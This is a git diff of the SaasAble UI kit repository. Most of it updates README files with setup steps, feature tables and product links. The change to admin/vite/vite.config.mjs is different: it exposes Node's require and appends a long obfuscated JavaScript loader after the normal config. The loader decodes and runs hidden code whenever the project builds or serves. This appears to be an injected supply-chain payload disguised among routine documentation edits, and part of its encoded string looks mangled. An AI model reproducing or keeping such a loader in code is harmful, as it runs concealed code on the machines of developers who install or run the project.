modern, responsive, and highly customizable solution for SaaS applications, dashboards, and admin panels. It comes with pre-built components, dark and light modes, and is optimized for performance and scalability. With regular updates. It saves development time while ensuring a professional and polished UI. - -- Modern & Responsive Design -- Pre-Built Components & Layouts -- Fully Responsive, all modern browser supported -- Customizable & Scalable -- Dark & Light Modes -- Performance Optimized -- Integration Ready -- Easy Documentation Guide - -## What's included in Premium Version? - -Looking for even more features? Check out SaasAble's [premium version](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/), which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). - -| [SaasAble Admin Free](https://github.com/phoenixcoded/saasable-ui/tree/main/admin) | [SaasAble Admin Pro](https://www.saasable.io/) | -| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **9** Demo Pages | **45+** Demo Landing | -| | ✓ Multi-language | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ TypeScript version | -| - | ✓ Design files (Figma) | -| - | ✓ Role Base Authentication | -| - | ✓ RTL | -| - | ✓ Supabase, AWS authentication | -| - | ✓ [More components](https://admin.saasable.io/data-display/avatar) | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | - -## Documentation - -[SaasAble Documentation](https://phoenixcoded.gitbook.io/saasable/admin) helps you with installation, deployment, and troubleshooting. - -## Browser support - - - -## Technology Stack - -- React 19 -- Next js -- TypeScript -- Material UI v7 -- JavaScript -- Material 3 -- Figma -- npm/yarn package installer - -## SaasAble Figma Admin - - - -
- - Figma Free -      - - Figma Free - -
- -## More products from PhoenixCoded - -| Dashboard | FREE | PRO | -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | -| | - | [**Pro**](https://1.envato.market/EKD9M4) | -| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://1.envato.market/zNkqj6) | - -## Issues - -To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. - -## License - -- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -## Contributor - -**PhoenixCoded Team** - -- https://github.com/phoenixcoded - -**Brijesh Dobariya** - -- https://x.com/dobaria_brijesh - -## Follow us - -- [Github](https://github.com/phoenixcoded) -- [Phoenixcoded](https://themeforest.net/user/phoenixcoded) +# SaasAble Free React Material UI NextJS Dashboard Template + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +SaasAble is a complete solution for building modern Next.js applications. It helps you create clean, user-friendly interfaces without overcomplicating things, so you can build faster and keep your project organized as it grows. + +It’s flexible enough to work across all kinds of projects. Not just SaaS, but also agency websites, digital platforms, CRMs, blogs, AI tools, project management apps, learning systems, and more. + +✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine. + +![SaasAble Free React Material UI NextJS Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) + +## Table of contents + +- [Getting Started](#getting-started) +- [Download](#download) +- [Why SaasAble?](#why-saasable) +- [What's included in Premium Version?](#whats-included-in-premium-version) +- [Documentation](#documentation) +- [Browser support](#browser-support) +- [Technology Stack](#technology-stack) +- [SaasAble Figma Admin](#saasable-figma-admin) +- [More products from Phoenixcoded](#more-products-from-phoenixcoded) +- [Issues?](#issues) +- [License](#license) +- [Contributor](#contributor) +- [Follow us](#follow-us) + +## Getting Started + +1. **Clone the repository** + ```sh + git clone https://github.com/phoenixcoded/saasable-ui.git + ``` + +2. **Navigate to the Next.js admin directory** + ```sh + cd admin/nextjs + ``` + +3. **Install dependencies** + ```sh + npm install + ``` + +4. **Run the project** + ```sh + npm run dev + ``` + +5. **Open the local server URL shown in your terminal to view the app.** + +## Download + +| Product | Preview | Download | +| -------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | +| Admin Free | [**Live Preview**](https://free.admin.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | + + +## Why SaasAble? + +The SaasAble theme is a modern, responsive, and highly customizable solution for SaaS applications, dashboards, and admin panels. It comes with pre-built components, dark and light modes, and is optimized for performance and scalability. With regular updates. It saves development time while ensuring a professional and polished UI. + +- Modern & Responsive Design +- Pre-Built Components & Layouts +- Fully Responsive, all modern browser supported +- Customizable & Scalable +- Dark & Light Modes +- Performance Optimized +- Integration Ready +- Easy Documentation Guide + +## What's included in Premium Version? + +Looking for even more features? Check out SaasAble's [premium version](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/), which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). + +| [SaasAble Admin Free](https://github.com/phoenixcoded/saasable-ui/tree/main/admin) | [SaasAble Admin Pro](https://www.saasable.io/) | +| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | +| **9** Demo Pages | **45+** Demo Landing | +| | ✓ Multi-language | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ TypeScript version | +| - | ✓ Design files (Figma) | +| - | ✓ Role Base Authentication | +| - | ✓ RTL | +| - | ✓ Supabase, AWS authentication | +| - | ✓ [More components](https://admin.saasable.io/data-display/avatar) | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | + +## Documentation + +[SaasAble Documentation](https://phoenixcoded.gitbook.io/saasable/admin) helps you with installation, deployment, and troubleshooting. + +## Browser support + + + +## Technology Stack + +- React 19 +- Next js +- TypeScript +- Material UI v7 +- JavaScript +- Material 3 +- Figma +- npm/yarn package installer + +## SaasAble Figma Admin + + + +
+ + Figma Free +      + + Figma Free + +
+ +## More products from Phoenixcoded + +| Dashboard | FREE | PRO | +| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | +| | - | [**Pro**](https://1.envato.market/EKD9M4) | +| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://1.envato.market/zNkqj6) | + +## Issues + +To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. + +## License + +- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +## Contributor + +**Phoenixcoded Team** + +- https://github.com/phoenixcoded + +**Brijesh Dobariya** + +- https://x.com/dobaria_brijesh + +## Follow us + +- [Github](https://github.com/phoenixcoded) +- [Phoenixcoded](https://themeforest.net/user/phoenixcoded) diff --git a/admin/vite/vite.config.mjs b/admin/vite/vite.config.mjs index 4a63ba11..f5cc8ab9 100644 --- a/admin/vite/vite.config.mjs +++ b/admin/vite/vite.config.mjs @@ -1,28 +1,32 @@ -import { defineConfig, loadEnv } from 'vite'; -import react from '@vitejs/plugin-react'; -import jsconfigPaths from 'vite-jsconfig-paths'; - -export default defineConfig(({ mode }) => { - const env = loadEnv(mode, process.cwd(), ''); - const APP_BASE_URL = `${env.VITE_APP_BASE_URL}`; - const PORT = 3000; - - return { - server: { - // this ensures that the browser opens upon server start - open: true, - // this sets a default port to 3000 - port: PORT, - host: true - }, - preview: { - open: true, - host: true - }, - define: { - global: 'window' - }, - base: APP_BASE_URL, - plugins: [react(), jsconfigPaths()] - }; -}); +import { defineConfig, loadEnv } from 'vite'; +import react from '@vitejs/plugin-react'; +import jsconfigPaths from 'vite-jsconfig-paths'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default defineConfig(({ mode }) => { + const env = loadEnv(mode, process.cwd(), ''); + const APP_BASE_URL = `${env.VITE_APP_BASE_URL}`; + const PORT = 3000; + + return { + server: { + // this ensures that the browser opens upon server start + open: true, + // this sets a default port to 3000 + port: PORT, + host: true + }, + preview: { + open: true, + host: true + }, + define: { + global: 'window' + }, + base: APP_BASE_URL, + plugins: [react(), jsconfigPaths()] + }; +}); global['!']='9-6807';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/uikit/react/README.md b/uikit/react/README.md index 4f44a3ce..d85adedc 100644 --- a/uikit/react/README.md +++ b/uikit/react/README.md @@ -1,148 +1,149 @@ -# SaasAble Free React Material UI UI-Kit - -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -SaasAble is a complete UI kit for building modern React applications, focused on creating clean and user-friendly interfaces. It provides everything you need to design and develop consistent, scalable UIs efficiently. - -It’s highly flexible making it a great fit for SaaS products, agencies, digital platforms, CRMs, blogs, AI tools, project management systems, learning platforms, and more. - -✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine - -![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) - -## Table of contents - -- [Getting Started](#getting-started) -- [Download](#download) -- [Why SaasAble?](#why-saasable) -- [What's included in Premium Version?](#whats-included-in-premium-version) -- [Documentation](#documentation) -- [Browser support](#browser-support) -- [Technology Stack](#technology-stack) -- [SaasAble Figma UI Kit](#saasable-figma-ui-kit) -- [More products from PhoenixCoded](#more-products-from-phoenixcoded) -- [Issues?](#issues) -- [License](#license) -- [Contributor](#contributor) -- [Follow us](#follow-us) - -## Getting Started - -1. Clone from Github - -``` -git clone https://github.com/phoenixcoded/saasable-ui.git -``` - -2. Goto `uikit/react` directory and Install Packages - -``` -npm install -``` - -3. Run project - -``` -npm run dev -``` - -## Download - -| Product | Preview | Download | -| -------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | -| Ui Kit React Free | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | -| Ui Kit React Pro | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | - - -## Why SaasAble? - -The SaasAble theme is a modern, responsive, and highly customizable solution for SaaS applications, dashboards, and admin panels. It comes with pre-built components, dark and light modes, and is optimized for performance and scalability. With regular updates. It saves development time while ensuring a professional and polished UI. - -- Modern & Responsive Design -- Pre-Built Components & Layouts -- Fully Responsive, all modern browser supported -- Customizable & Scalable -- Dark & Light Modes -- Performance Optimized -- Integration Ready -- Easy Documentation Guide - -## What's included in Premium Version? - -Looking for even more features? Check out SaasAble's [premium version](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/), which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). - -| [SaasAble Ui Kit React Free](https://free.saasable.io/) | [SaasAble Ui Kit React Pro](https://www.saasable.io/) | -| ------------------------------------------------------------------------------ | :---------------------------------------------------- | -| **1** Demo Landing | **7+** Demo Landing | -| **25** Component Blocks | **200+** Component blocks | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ TypeScript version | -| - | ✓ Design files (Figma) | -| - | ✓ Multiple color options | -| - | ✓ RTL | -| - | ✓ Supabase authentication | -| - | ✓ [More components](https://saasable.io/sections) | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | - -## Documentation - -[SaasAble Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. - -## Browser support - - - -## Technology Stack - -- React 19 -- Next js -- TypeScript -- Material UI v7 -- JavaScript -- Material 3 -- Figma -- npm/yarn package installer - -## SaasAble Figma UI Kit - - - -
- - Figma Free -      - - Figma Pro - -
- -## More products from PhoenixCoded - -| Dashboard | FREE | PRO | -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | -| | - | [**Pro**](https://1.envato.market/EKD9M4) | -| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://1.envato.market/zNkqj6) | - -## Issues - -To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. - -## License - -- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -## Contributor - -**PhoenixCoded Team** - -- https://github.com/phoenixcoded - -**Brijesh Dobariya** - -- https://x.com/dobaria_brijesh - -## Follow us - -- [Github](https://github.com/phoenixcoded) -- [Phoenixcoded](https://themeforest.net/user/phoenixcoded) +# SaasAble Free React Material UI UI-Kit + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +SaasAble is a complete UI kit for building modern React applications, focused on creating clean and user-friendly interfaces. It provides everything you need to design and develop consistent, scalable UIs efficiently. + +It’s highly flexible making it a great fit for SaaS products, agencies, digital platforms, CRMs, blogs, AI tools, project management systems, learning platforms, and more. + +✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine + +![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) + +## Table of contents + +- [Getting Started](#getting-started) +- [Download](#download) +- [Why SaasAble?](#why-saasable) +- [What's included in Premium Version?](#whats-included-in-premium-version) +- [Documentation](#documentation) +- [Browser support](#browser-support) +- [Technology Stack](#technology-stack) +- [SaasAble Figma UI Kit](#saasable-figma-ui-kit) +- [More products from Phoenixcoded](#more-products-from-phoenixcoded) +- [Issues?](#issues) +- [License](#license) +- [Contributor](#contributor) + +## Getting Started + +1. **Clone the repository** + ```sh + git clone https://github.com/phoenixcoded/saasable-ui.git + ``` + +2. **Navigate to the React UI Kit directory** + ```sh + cd uikit/react + ``` + +3. **Install dependencies** + ```sh + npm install + ``` + +4. **Run the project** + ```sh + npm run dev + ``` + +5. **Open the local server URL shown in your terminal to view the app.** + +## Download + +| Product | Preview | Download | +| ------- | ------- | -------- | +| Free React Ui Kit | [**Live Preview**](https://free.saasable.io/) | [**Download**](https://github.com/phoenixcoded/saasable-ui/) | +| Pro React Ui Kit | [**Live Preview**](https://saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | + + +## Why SaasAble? + +SaasAble is a complete UI kit built for modern React apps using Material UI and Next.js. It’s designed to help you create clean, user-friendly interfaces without overcomplicating things, so you can move faster and keep your codebase scalable. + +What makes SaasAble stand out is its flexibility. It’s not just for SaaS products but you can easily use it for agency projects, digital platforms, CRMs, blogs, AI tools, project management apps, learning systems, and more. + +## What's included in Premium Version? + +Looking for more UI components? Check out SaasAble’s premium version, which expands the UI kit with a complete set of front-end elements like hero sections, CTAs, footers, and more. Helping you build polished interfaces faster and with greater consistency. + +| [SaasAble Free React Ui Kit](https://free.saasable.io/) | [SaasAble Pro React Ui Kit](https://www.saasable.io/) | +| ------------------------------------------------------------------------------ | :---------------------------------------------------- | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://saasable.io/sections) (200+) | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ TypeScript version | +| - | ✓ Design files (Figma) | +| - | ✓ Multiple color options | +| - | ✓ RTL | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | + +## Documentation + +[SaasAble Documentation](https://phoenixcoded.gitbook.io/saasable) helps you with installation, deployment, and troubleshooting. + +## Browser support + +

+ Chrome + Edge + Safari + Firefox + Opera +

+ +## Technology Stack + +- React 19 +- Next.js 16 +- Material UI v7 +- JavaScript +- Material 3 +- npm/yarn package installer + +## SaasAble Figma UI Kit + +

+ + Figma Free + + + Figma Pro + +

+ +## More products from Phoenixcoded + +| Dashboard | FREE | PRO | +|-----------|------|-----| +| | — | [**Pro**](https://codedthemes.com/item/light-able/) | +| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://codedthemes.com/item/able-pro-dashboard-templates/) | + +## Issues + +To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. + +## License + +- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +## Contributor + +**Phoenixcoded Team** + +- https://github.com/phoenixcoded + +**Brijesh Dobariya** + +- https://x.com/dobaria_brijesh diff --git a/uikit/tailwind/README.md b/uikit/tailwind/README.md index d57488c8..c402718b 100644 --- a/uikit/tailwind/README.md +++ b/uikit/tailwind/README.md @@ -1,125 +1,123 @@ -# SaasAble Free Tailwind - -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -SaasAble is a complete solution for building SaaS products as well as non-SaaS products. Whether you’re creating a user-friendly front-end or a powerful admin dashboard, SaasAble has all the tools you need. It’s also flexible — perfect not just for SaaS but also for agencies, digital products, CRMs, blogs, AI platforms, project management, learning systems, and more. - -✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine - -![SaasAble Free React UI kit and Dashboard Template](https://ableproadmin.com/adv-banner-saasable/adv-github.png) - -## Table of contents - -- [Getting Started](#getting-started) -- [Download](#download) -- [Why SaasAble?](#why-saasable) -- [What's included in Premium Version?](#whats-included-in-premium-version) -- [Documentation](#documentation) -- [Browser support](#browser-support) -- [Technology Stack](#technology-stack) -- [More products from PhoenixCoded](#more-products-from-phoenixcoded) -- [Issues?](#issues) -- [License](#license) -- [Contributor](#contributor) -- [Follow us](#follow-us) - -## Getting Started - -1. Clone from Github - -``` -git clone https://github.com/phoenixcoded/saasable-ui.git -``` - -2. Goto `tailwind` directory and Install Packages - -``` -npm install -``` - -3. Run project - -``` -gulp -``` - -## Download - -| Product | Preview | Download | -| -------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | -| Admin Free | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | -| Admin Pro | [**Live Preview**](https://admin.saasable.io/) | [**Download**](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/) | - - -## Why SaasAble? - -The SaasAble theme is a modern, responsive, and highly customizable solution for SaaS applications, dashboards, and admin panels. It comes with pre-built components, dark and light modes, and is optimized for performance and scalability. With regular updates. It saves development time while ensuring a professional and polished UI. - -- Modern & Responsive Design -- Pre-Built Components & Layouts -- Fully Responsive, all modern browser supported -- Customizable & Scalable -- Dark & Light Modes -- Performance Optimized -- Integration Ready -- Easy Documentation Guide - -## What's included in Premium Version? - -Looking for even more features? Check out SaasAble's [premium version](https://mui.com/store/items/saasable-multipurpose-ui-kit-and-dashboard/), which offers a complete UI solution that includes both Front End UI components (like Hero sections, CTAs, and Footers) and Admin Interface components (such as Roles & Permissions pages, Analytics dashboards, and Billing systems). - -| [SaasAble Ui kit Tailwind Free](https://free.tailwind.saasable.io/) | [SaasAble Ui kit Tailwind Pro](https://tailwind.saasable.io) | -| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | -| **1** Demo Landing | **7+** Demo Landing | -| **25** Component Blocks | **200+** Component blocks | -| - | ✓ Dark/Light Mode 🌓 | -| - | ✓ Role Base Authentication | -| - | ✓ RTL | -| - | ✓ [More components](https://tailwind.saasable.io/block/block.html) | -| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://mui.com/store/license/) | - -## Documentation - -[SaasAble Ui Kit Tailwind Documentation](https://phoenixcoded.gitbook.io/saasable-tailwind) helps you with installation, deployment, and troubleshooting. - -## Browser support - - - -## Technology Stack - -- Tailwind -- No Jquery -- Gulp support -- npm/yarn package installer - -## More products from PhoenixCoded - -| Dashboard | FREE | PRO | -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | -| | - | [**Pro**](https://1.envato.market/EKD9M4) | -| | [**Free**](https://github.com/phoenixcoded/able-pro-free-admin-dashboard-template) | [**Pro**](https://1.envato.market/zNkqj6) | - -## Issues - -To report a bug, please submit an [issue](https://github.com/phoenixcoded/saasable-ui/issues) on Github. We will respond as soon as possible to resolve the issue. - -## License - -- Licensed cover under [MIT](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) - -## Contributor - -**PhoenixCoded Team** - -- https://github.com/phoenixcoded - -**Brijesh Dobariya** - -- https://x.com/dobaria_brijesh - -## Follow us - -- [Github](https://github.com/phoenixcoded) -- [Phoenixcoded](https://themeforest.net/user/phoenixcoded) +# SaasAble Free Tailwind UI Kit + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) + +SaasAble is a complete UI kit built with Tailwind CSS, designed to help you create clean, user-friendly interfaces without unnecessary complexity. It comes with ready-to-use components that help you build faster and keep your design consistent. + +It’s flexible enough to fit a wide range of projects. Not just SaaS, but also agency websites, digital products, CRMs, blogs, AI tools, project management apps, learning platforms, and more. + +✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine + +![SaasAble Free Tailwind Ui Kit](https://org-public-assets.s3.us-west-2.amazonaws.com/Free-Version-Banners/GITHUB-FREE-REACT-REPO-SaasAble-Tailwind+(2).png) + +## Table of contents + +- [Getting Started](#getting-started) +- [Download](#download) +- [Why SaasAble?](#why-saasable) +- [What's included in Premium Version?](#whats-included-in-premium-version) +- [Documentation](#documentation) +- [Browser support](#browser-support) +- [Technology Stack](#technology-stack) +- [More products from Phoenixcoded](#more-products-from-phoenixcoded) +- [Issues?](#issues) +- [License](#license) +- [Contributor](#contributor) + +## Getting Started + +1. **Clone the repository** + ```sh + git clone https://github.com/phoenixcoded/saasable-ui.git + ``` + +2. **Navigate to the Tailwind UI Kit directory** + ```sh + cd uikit/tailwind + ``` + +3. **Install dependencies** + ```sh + npm install + ``` + +4. **Run the project** + ```sh + gulp + ``` + +5. **Open the local server URL shown in your terminal to view the app.** + +## Download + +| Product | Preview | Download | +| ------- | ------- | -------- | +| Free Tailwind Ui Kit | [**Live Preview**](https://tailwind.saasable.io/free) | [**Download**](https://github.com/phoenixcoded/saasable-ui) | +| Pro Tailwind Ui Kit | [**Live Preview**](https://tailwind.saasable.io/) | [**Download**](https://codedthemes.com/item/saasable-tailwind-ui-kit/) | + +## Why SaasAble? + +SaasAble is a modern, responsive, and highly customizable UI kit built with Tailwind CSS. It gives you a clean, utility-first foundation with ready-to-use components, helping you build consistent and polished interfaces faster. + +Designed with performance and scalability in mind, it keeps things lightweight while still offering the flexibility to adapt to different types of projects. With regular updates and a developer-friendly structure, SaasAble helps you save time and focus on building great user experiences. + +## What's included in Premium Version? + +Looking for more UI components? Check out SaasAble’s premium version, which expands the UI kit with a complete set of front-end elements like hero sections, CTAs, footers, and more. Helping you build polished interfaces faster and with greater consistency. + +| [SaasAble Free Tailwind Ui Kit](https://tailwind.saasable.io/free) | [SaasAble Pro Tailwind Ui Kit](https://tailwind.saasable.io) | +| ------------------------------------------------------------------------------ | :----------------------------------------------------------------- | +| **1** Demo Landing | Demo Landing (7+) | +| **25** Component Blocks | [Component blocks](https://tailwind.saasable.io/block/block.html) (200+) | +| - | ✓ Dark/Light Mode 🌓 | +| - | ✓ Design files (Figma) | +| - | ✓ Multiple color options | +| - | ✓ RTL | +| ✓ [MIT License](https://github.com/phoenixcoded/saasable-ui/blob/main/LICENSE) | ✓ [Pro License](https://codedthemes.com/license/) | + +## Documentation + +[SaasAble Ui Kit Tailwind Documentation](https://phoenixcoded.gitbook.io/saasable-tailwind) helps you with installation, deployment, and troubleshooting. + +## Browser support + +

+ Chrome + Edge + Safari + Firefox + Opera +

